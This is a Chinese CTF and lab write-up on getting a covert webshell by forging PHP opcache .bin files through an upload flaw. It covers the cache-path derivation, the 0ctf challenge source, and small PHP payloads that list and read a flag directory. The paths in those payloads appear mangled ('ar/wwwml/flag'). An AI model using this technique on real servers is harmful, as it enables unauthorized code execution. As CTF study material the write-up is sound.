opcache是啥

opencache是一种php7自带的缓存引擎,它将编译过一遍的的php脚本以字节码文件的形式缓存在特定目录中(在php.ini中指定)。这样节省了每次访问同一脚本都要加载和解析的时间开销。(先检查有没有bin文件有就直接用)

动手配置

在php.ini,打开有关opcache的选项(即保持默认),然后有意修改以下两项。

1
2
3
opcache.file_cache_only = 1 #默认是0,设置为1后强制所有缓存以文件形式存在,否则可能缓存可能会存在于内存中
opcache.file_cache = /tmp/cache #默认为空,这个目录php不会帮我们创建,一定要自己手动创建

缓存路径

简单的举个栗子,比如我们访问/var/www/html/index.php,那么字节缓存的路径是/tmp/cache/[system_id]/var/www/html/index.php.bin。其中system_id,由php veriosn,

Zend Extension Build,System(系统架构)三部分决定。这三样的东西都可以在phpinfo找到。

具体的自动化生成脚本可以在github的这个项目中找到。在下文中把字节码文件简称问bin文件,把与之对应的php文件简称为源文件。

利用方法

正如上面提到的,在opcache机制下,有bin文件会直接执行bin文件,那么如果配合上传漏洞这一类漏洞是不是达到将bin写到指定目录,然后访问相应的php文件达到隐蔽getshell的目的?

利用的限制

根据前面的描述,我们可以总结如下的限制条件

  1. opcache要打开(php7自带但默认不打开)
  2. opcache.file_cache_only = 1
  3. 知道systemid,opcache缓存目录
  4. 类文件上传漏洞
  5. 知道bin文件所对应php的时间戳(一个秒级时间戳,这点稍后会解释)

前三点可以通过phpinfo直接或计算得知,重点说说第五点,在phpinfo中有个叫opcache.validate_timestamps的配置它默认为1,这应该是为安全性而考虑的,在bin文件在创建时会在文件内容中写入一个时间戳,这个时间戳跟源文件被修改的时间戳一样,在执行bin文件之前php会检查时间戳是否一致,如果不一致则丢弃重新创建bin文件。个人认为第五点是最苛刻的因为在cms闭源的情况下几乎不可猜。

bin文件结构分析

依然在刚才给出的链接中下载分析模板,并在010editor中导入,不要用010editor自带的分析模板有坑。

用红色框标注的地方就是和目标服务器不一样需要修改的地方,原谅我啰嗦一遍,这三个框分别代表system_id, 时间戳,路径。

实验验证

kali phpinfo.php

1
<?php phpinfo();?>

ubuntu phpinfo.php

1
<?php echo 123;?>

拿到拿到kali的phpinfo bin文件

修改时间戳 system_id

复制ubuntu相应文件中然后重新访问

CTF中

这次在0ctf遇到了这种攻击方式,代码是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
error_reporting(E_ALL);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{//如果不是目录就删除
if(!is_dir($dir)){
unlink($dir);
return;
}//删除非. ..的文件
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}//删除目录
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
echo "go in to upload";
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
echo "go in to move";
var_dump($name);
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

?action=phpinfo可以得到system_id

1
7.0.28API320151012,NTSBIN_SIZEOF_CHAR48888 -> 7badddeddbd076fe8352e80d8ddf3e73

?action=pwd 拿到自己路径sandbox/053b454d2e71b6a9b78f7a8c3d27e527703d3e44/

结合上面的两个进一步推断出缓存路径

1
/tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/053b454d2e71b6a9b78f7a8c3d27e527703d3e44/index.php

在自己本地环境中建立sandbox/053b454d2e71b6a9b78f7a8c3d27e527703d3e44/index.php并写上自己的payload,切记这一点当时没有做出来就是本地没有建立一模一样的路径。目测都有ban函数,所以就纯写了一点东西,验证线上是否能输出。

然后测试了glob,发现没有结果最后用

1
2
3
4
5
6
7
8
9
<?php
$d = dir("ar/wwwml/flag");
echo "Handle: " . $d->handle . "\n";
echo "Path: " . $d->path . "\n";
while (false !== ($entry = $d->read())) {
echo $entry."\n";
}
$d->close();
?>

读到目录,然后用之前给的代码中已经使用的high_light读文件(肯定不会被ban)

1
2
3
<?php
highlight_file("ar/wwwml/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad");
?>

读出来又是是一个bin文件,不会逆。。。